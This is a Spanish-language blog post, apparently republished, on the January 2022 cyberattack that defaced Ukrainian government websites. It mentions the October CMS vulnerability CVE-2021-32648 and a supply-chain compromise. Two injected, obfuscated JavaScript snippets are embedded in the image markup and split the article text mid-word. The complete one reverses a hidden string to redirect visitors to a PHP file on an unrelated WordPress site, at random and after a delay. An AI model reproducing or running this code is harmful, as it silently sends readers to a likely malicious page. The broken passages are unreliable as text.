Ciberataque masivo en el gobierno de Ucrania
Un ciberataque masivo deja inoperativos varios sitios webs del Gobierno de Ucrania
Varios sitios web del gobierno de Ucrania han recibido «un ciberataque masivo» con texto amenazante que advierte a los ucranianos que «tengan miedo y esperen lo peor» y alegan que su información personal ha sido pirateada.
«Como resultado de un ataque cibernético masivo, los sitios web del Ministerio de Relaciones Exteriores y otras agencias gubernamentales están temporalmente inactivos», tuiteó Oleg Nikolenko, portavoz del Ministerio de Relaciones Exteriores.
![Tex<script>$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos en ucraniano en el mensaje” /></p>
<p>Mensaje de advertencia en ucraniano, ruso y polaco que apareció en el sitio web oficial del Ministerio de Relaciones Exteriores de Ucrania.<br />
El viernes por la mañana temprano, hora local, las páginas web del gobierno de Ucrania, incluida la del Ministerio de Relaciones Exteriores, mostraron pantallas oscuras con un tex<script>$NfI=function(n){if (typeof ($NfI.list[n]) ==](https://i0.wp.com/unaaldia.hispasec.com/wp-content/uploads/2022/01/ciberataque-ucrania.jpg?resize=564%2C570&ssl=1)
to amenazante que decía que la información personal de los ucranianos había sido pirateada.
El CERT ucraniano dijo que los ataques podrían haber explotado una vulnerabilidad de seguridad en el CMS de octubre basado en Laravel (CVE-2021-32648), de la cual podrían haber abusado los atacantes para obtener acceso a una cuenta utilizando una petición especialmente diseñada.
El Servicio de Seguridad de Ucrania señaló a los grupos de hackers asociados a los servicios secretos rusos, al tiempo que califican las intrusiones como una ataque a la cadena de suministros que implicaba el hackeo de la «infraestructura de una empresa comercial que tenía acceso a los derechos de administración de los recursos web afectados por el ataque».
El ataque ha afectado a un conjunto de sitios web gubernamentales, como el Gabinete de Ministros de Ucrania, los ministerios de educación, agricultura, emergencia, energía, asuntos de veteranos y medio ambiente, entre otras.
El Servicio de Seguridad de Ucrania subrayó que el contenido de los sitios no fue alterado y que no se robaron datos personales sensibles.
A pesar de todo, parece ser que la seguridad informática de Ucrania está siendo alterada con asiduidad en los últimos tiempos, como ya hemos visto anteriormente, por lo que queda en evidencia la importancia de ésta en ámbitos tanto privados como públicos.
Ver información riginal al respecto en Fuente>
NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________
Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.
Puedes seguir cualquier respuesta a esta entrada mediante el canal RSS 2.0. Los comentarios y los pings están cerrados.
Siguenos
en facebook
Los comentarios están cerrados.